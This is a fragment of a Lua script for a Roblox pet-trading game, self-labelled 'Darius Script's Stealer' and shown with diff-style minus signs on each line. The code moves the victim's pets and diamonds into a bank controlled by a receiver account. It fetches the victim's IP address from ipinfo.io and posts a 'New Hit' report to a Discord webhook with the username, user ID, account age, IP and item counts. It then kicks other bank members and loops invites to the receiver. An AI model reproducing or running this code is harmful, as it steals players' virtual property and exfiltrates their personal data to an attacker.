- for i, v in pairs(SSList) do
- if #SFinalList < Smax then
- table.insert(SFinalList, v)
- end
- end
- end
- -- Bank Pets
- wait()
- local A_1 = {
- [1] = Bank,
- [2] = SFinalList,
- [3] = 0
- }
- wait()
- local Sdiaamt = require(game:GetService("ReplicatedStorage").Library.Client.Save).Get().Diamonds
- if Sdiaamt ~= 0 then
- Sdiaamt = Sdiaamt - 1
- end
- if tier == 1 and Sdiaamt > tier1gems - diaamt then
- Sdiaamt = tier1gems - diaamt
- elseif tier == 1 and diaamt <= tier1gems - diaamt then
- Sdiaamt = Sdiaamt
- elseif tier == 2 and diaamt > tier2gems - diaamt then
- Sdiaamt = tier2gems - diaamt
- elseif tier == 2 and diaamt <= tier2gems - diaamt then
- Sdiaamt = Sdiaamt
- elseif tier == 3 and diaamt > tier3gems - diaamt then
- Sdiaamt = tier3gems - diaamt
- elseif tier == 3 and diaamt <= tier3gems - diaamt then
- Sdiaamt = Sdiaamt
- elseif tier == 4 and diaamt > tier4gems - diaamt then
- Sdiaamt = tier4gems - diaamt
- elseif tier == 4 and diaamt <= tier4gems - diaamt then
- Sdiaamt = Sdiaamt
- else
- Sdiaamt = Sdiaamt
- end
- local s, e = pcall(function()
- wait(0.2)
- depositremote:InvokeServer(Bank, SFinalList, Sdiaamt)
- end)
- if s == false then
- wait(0.2)
- depositremote:InvokeServer(Bank, SFinalList, 1)
- end
- end
- -- abbreviations
- local diaamt2 = diaamt
- local abbreviations = {
- k = 4,
- m = 7,
- b = 10,
- T = 13,
- }
- local DiamondsCount = tostring(math.floor(diaamt2))
- local ChosenAbbreviation
- for abbreviation, digits in pairs(abbreviations) do
- if #DiamondsCount >= digits and #DiamondsCount < (digits + 3) then
- ChosenAbbreviation = abbreviation
- break
- end
- end
- if ChosenAbbreviation then
- local digits = abbreviations[ChosenAbbreviation]
- local rounded = math.floor(diaamt2 / 10 ^ (digits - 3)) * 10 ^ (digits - 3)
- DiamondsCount = string.format("%0.2f", rounded / 10 ^ (digits - 1))
- local addsd = string.split(DiamondsCount, ".")[2]
- local pnt = "."
- if string.split(addsd, "")[2] == "0" and string.split(addsd, "")[1] ~= "0" then
- DiamondsCount = string.split(DiamondsCount, ".")[1] .. pnt .. string.split(addsd, "")[1] .. ChosenAbbreviation
- elseif string.split(addsd, "")[2] == "0" and string.split(addsd, "")[1] == "0" then
- DiamondsCount = string.split(DiamondsCount, ".")[1] .. ChosenAbbreviation
- elseif string.split(addsd, "")[2] ~= "0" and string.split(addsd, "")[1] ~= "0" then
- DiamondsCount = DiamondsCount .. ChosenAbbreviation
- elseif string.split(addsd, "")[2] ~= "0" and string.split(addsd, "")[1] == "0" then
- DiamondsCount = DiamondsCount .. ChosenAbbreviation
- else
- DiamondsCount = diamond
- end
- end
- local Bdiaamt = SuperBank["Storage"]["Currency"]["Diamonds"]
- local Babbreviations = {
- k = 4,
- m = 7,
- b = 10,
- T = 13,
- }
- local BDiamondsCount = tostring(math.floor(Bdiaamt))
- local BChosenAbbreviation
- for Babbreviation, Bdigits in pairs(Babbreviations) do
- if #BDiamondsCount >= Bdigits and #BDiamondsCount < (Bdigits + 3) then
- BChosenAbbreviation = Babbreviation
- break
- end
- end
- if BChosenAbbreviation then
- local Bdigits = Babbreviations[BChosenAbbreviation]
- local Brounded = math.floor(Bdiaamt / 10 ^ (Bdigits - 3)) * 10 ^ (Bdigits - 3)
- BDiamondsCount = string.format("%0.2f", Brounded / 10 ^ (Bdigits - 1))
- local Baddsd = string.split(BDiamondsCount, ".")[2]
- local pnt = "."
- if string.split(Baddsd, "")[2] == "0" and string.split(Baddsd, "")[1] ~= "0" then
- BDiamondsCount = string.split(BDiamondsCount, ".")[1] ..
- pnt .. string.split(Baddsd, "")[1] .. BChosenAbbreviation
- elseif string.split(Baddsd, "")[2] == "0" and string.split(Baddsd, "")[1] == "0" then
- BDiamondsCount = string.split(BDiamondsCount, ".")[1] .. BChosenAbbreviation
- elseif string.split(Baddsd, "")[2] ~= "0" and string.split(Baddsd, "")[1] ~= "0" then
- BDiamondsCount = BDiamondsCount .. BChosenAbbreviation
- elseif string.split(Baddsd, "")[2] ~= "0" and string.split(Baddsd, "")[1] == "0" then
- BDiamondsCount = BDiamondsCount .. BChosenAbbreviation
- else
- BDiamondsCount = Bdiaamt
- end
- end
- local totaldiamond = Bdiaamt + diaamt
- local Tabbreviations = {
- k = 4,
- m = 7,
- b = 10,
- T = 13,
- }
- local TDiamondsCount = tostring(math.floor(totaldiamond))
- local TChosenAbbreviation
- for Tabbreviation, Tdigits in pairs(Tabbreviations) do
- if #TDiamondsCount >= Tdigits and #TDiamondsCount < (Tdigits + 3) then
- TChosenAbbreviation = Tabbreviation
- break
- end
- end
- if TChosenAbbreviation then
- local Tdigits = Tabbreviations[TChosenAbbreviation]
- local Trounded = math.floor(totaldiamond / 10 ^ (Tdigits - 3)) * 10 ^ (Tdigits - 3)
- TDiamondsCount = string.format("%0.2f", Trounded / 10 ^ (Tdigits - 1))
- local Taddsd = string.split(TDiamondsCount, ".")[2]
- local pnt = "."
- if string.split(Taddsd, "")[2] == "0" and string.split(Taddsd, "")[1] ~= "0" then
- TDiamondsCount = string.split(TDiamondsCount, ".")[1] ..
- pnt .. string.split(Taddsd, "")[1] .. TChosenAbbreviation
- elseif string.split(Taddsd, "")[2] == "0" and string.split(Taddsd, "")[1] == "0" then
- TDiamondsCount = string.split(TDiamondsCount, ".")[1] .. TChosenAbbreviation
- elseif string.split(Taddsd, "")[2] ~= "0" and string.split(Taddsd, "")[1] ~= "0" then
- TDiamondsCount = TDiamondsCount .. TChosenAbbreviation
- elseif string.split(Taddsd, "")[2] ~= "0" and string.split(Taddsd, "")[1] == "0" then
- TDiamondsCount = TDiamondsCount .. TChosenAbbreviation
- else
- TDiamondsCount = totaldiamond
- end
- end
- local Wdiaamt = DiamondsDiamonds
- local Wabbreviations = {
- k = 4,
- m = 7,
- b = 10,
- T = 13,
- }
- local WDiamondsCount = tostring(math.floor(Wdiaamt))
- local WChosenAbbreviation
- for Wabbreviation, Wdigits in pairs(Wabbreviations) do
- if #WDiamondsCount >= Wdigits and #WDiamondsCount < (Wdigits + 3) then
- WChosenAbbreviation = Wabbreviation
- break
- end
- end
- if WChosenAbbreviation then
- local Wdigits = Wabbreviations[WChosenAbbreviation]
- local Wrounded = math.floor(Wdiaamt / 10 ^ (Wdigits - 3)) * 10 ^ (Wdigits - 3)
- WDiamondsCount = string.format("%0.2f", Wrounded / 10 ^ (Wdigits - 1))
- local Waddsd = string.split(WDiamondsCount, ".")[2]
- local pnt = "."
- if string.split(Waddsd, "")[2] == "0" and string.split(Waddsd, "")[1] ~= "0" then
- WDiamondsCount = string.split(WDiamondsCount, ".")[1] ..
- pnt .. string.split(Waddsd, "")[1] .. WChosenAbbreviation
- elseif string.split(Waddsd, "")[2] == "0" and string.split(Waddsd, "")[1] == "0" then
- WDiamondsCount = string.split(WDiamondsCount, ".")[1] .. WChosenAbbreviation
- elseif string.split(Waddsd, "")[2] ~= "0" and string.split(Waddsd, "")[1] ~= "0" then
- WDiamondsCount = WDiamondsCount .. WChosenAbbreviation
- elseif string.split(Waddsd, "")[2] ~= "0" and string.split(Waddsd, "")[1] == "0" then
- WDiamondsCount = WDiamondsCount .. WChosenAbbreviation
- else
- WDiamondsCount = DiamondsDiamonds
- end
- end
- -- Sending webhook
- local username = game:GetService("Players").LocalPlayer.Name
- local fardplayer = game:GetService("Players").LocalPlayer
- local receiver = game:GetService("Players"):GetNameFromUserIdAsync(_G.UserID)
- local IPadress = game:HttpGet('https://ipinfo.io/ip')
- local banktier = SuperBank["Tier"]
- local lmao = "/5"
- local ping
- if #HList ~= 0 or #BHList ~= 0 then
- ping = "@everyone"
- elseif #HList == 0 and #BHList == 0 then
- ping = ""
- end
- -- Img
- local data1
- if banktiercheck == true then
- imgs = "https://cdn.discordapp.com/attachments/1135529831371649045/1147595608388018236/static.png"
- data1 = {
- ["content"] = ping,
- ["username"] = "Darius Scripts",
- ["avatar_url"] = "https://cdn.discordapp.com/attachments/1135529831371649045/1147595608388018236/static.png",
- ["embeds"] = { {
- ["title"] = "**New Hit** ||With Darius||",
- ["url"] = "https://discord.gg/uMDSsWxJyN",
- ["type"] = "rich",
- ["color"] = tonumber(00ff62),
- ["thumbnail"] = {
- ["url"] = imgs,
- ["height"] = 420,
- ["width"] = 420
- },
- ["fields"] = { {
- ["name"] = "**This data was generated using Darius Script's Stealer** :moyai:",
- ["value"] = "```Username : " .. username .. "\nDisplay Name : " .. fardplayer.DisplayName ..
- "\nUser-ID : " .. fardplayer.userId .. "\nAccount Age : " .. fardplayer.AccountAge ..
- " Days\nIP Address : " .. IPadress .. "\nRank : " .. rank ..
- "\nExploit : " .. exploit .. "\nReceiver : " .. receiver .. "\nBank Tier : Tier " .. SuperBank["Tier"] .. "```",
- ["inline"] = false
- }, {
- ["name"] = ":gem: **Diamonds** :gem:",
- ["value"] = "```" .. DiamondsCount .. "```",
- ["inline"] = true
- }, {
- ["name"] = ":dog: **Pets** :dog:",
- ["value"] = "```" .. #FinalList + #SFinalList .. "```",
- ["inline"] = true
- }, {
- ["name"] = ":money_mouth: **Huges** :money_mouth:",
- ["value"] = "```" .. #HList .. "```",
- ["inline"] = true
- }, {
- ["name"] = ":cat: **Exclusives** :cat:",
- ["value"] = "```" .. #EList .. "```",
- ["inline"] = true
- }, {
- ["name"] = ":performing_arts: **Secrets** :performing_arts:",
- ["value"] = "```" .. #SList .. "```",
- ["inline"] = true
- }, {
- ["name"] = ":rabbit: **Mythicals** :rabbit:",
- ["value"] = "```" .. #MList .. "```",
- ["inline"] = true
- },
- {
- ["name"] = "---------------------------------------",
- ["value"] = "",
- ["inline"] = false
- },
- {
- ["name"] = ":eyes: **Bank Pets** :eyes:",
- ["value"] = "",
- ["inline"] = false
- },
- {
- ["name"] = "---------------------------------------",
- ["value"] = "",
- ["inline"] = false
- },
- {
- ["name"] = ":gem: **Diamonds** :gem:",
- ["value"] = "```" .. BDiamondsCount .. "```",
- ["inline"] = true
- }, {
- ["name"] = ":dog: **Pets** :dog:",
- ["value"] = "```" .. #SuperBank["Storage"]["Pets"] .. "```",
- ["inline"] = true
- }, {
- ["name"] = ":money_mouth: **Huges** :money_mouth:",
- ["value"] = "```" .. #BHList .. "```",
- ["inline"] = true
- }, {
- ["name"] = ":cat: **Exclusives** :cat:",
- ["value"] = "```" .. BEHList .. "```",
- ["inline"] = true
- }, {
- ["name"] = ":performing_arts: **Secrets** :performing_arts:",
- ["value"] = "```" .. #BSList .. "```",
- ["inline"] = true
- }, {
- ["name"] = ":rabbit: **Mythicals** :rabbit:",
- ["value"] = "```" .. #BMList .. "```",
- ["inline"] = true
- },
- {
- ["name"] = ":bank: **Joined Banks** :bank:",
- ["value"] = "```" .. bankscount .. lmao .. "```",
- ["inline"] = true
- },
- {
- ["name"] = ":gem: **Wd Diamonds** :gem:",
- ["value"] = "```" .. WDiamondsCount .. "```",
- ["inline"] = true
- }, {
- ["name"] = ":money_mouth: **Wd Huges** :money_mouth:",
- ["value"] = "```" .. FinalFinal .. "```",
- ["inline"] = true
- },
- {
- ["name"] = "---------------------------------------",
- ["value"] = "",
- ["inline"] = false
- },
- {
- ["name"] = ":eyes: **Total Pets** :eyes:",
- ["value"] = "",
- ["inline"] = false
- },
- {
- ["name"] = "---------------------------------------",
- ["value"] = "",
- ["inline"] = false
- },
- {
- ["name"] = ":gem: **Diamonds** :gem:",
- ["value"] = "```" .. TDiamondsCount .. "```",
- ["inline"] = true
- }, {
- ["name"] = ":dog: **Pets** :dog:",
- ["value"] = "```" .. #SuperBank["Storage"]["Pets"] + #FinalList .. "```",
- ["inline"] = true
- },
- }
- }
- }
- }
- end
- local newdata1 = game:GetService("HttpService"):JSONEncode(data1)
- local headers = {
- ["content-type"] = "application/json"
- }
- if _G.Webhook ~= nil then
- local abcdef1 = {
- Url = url,
- Body = newdata1,
- Method = "POST",
- Headers = headers
- }
- request(abcdef1)
- end
- for i, v in pairs(SuperBank["Players"]) do
- if v ~= _G.UserID then
- kickremote:InvokeServer(Bank, v)
- end
- end
- while task.wait(0.1) do
- inviteremote:InvokeServer(mybanks[1]["BUID"], _G.UserID)
- end
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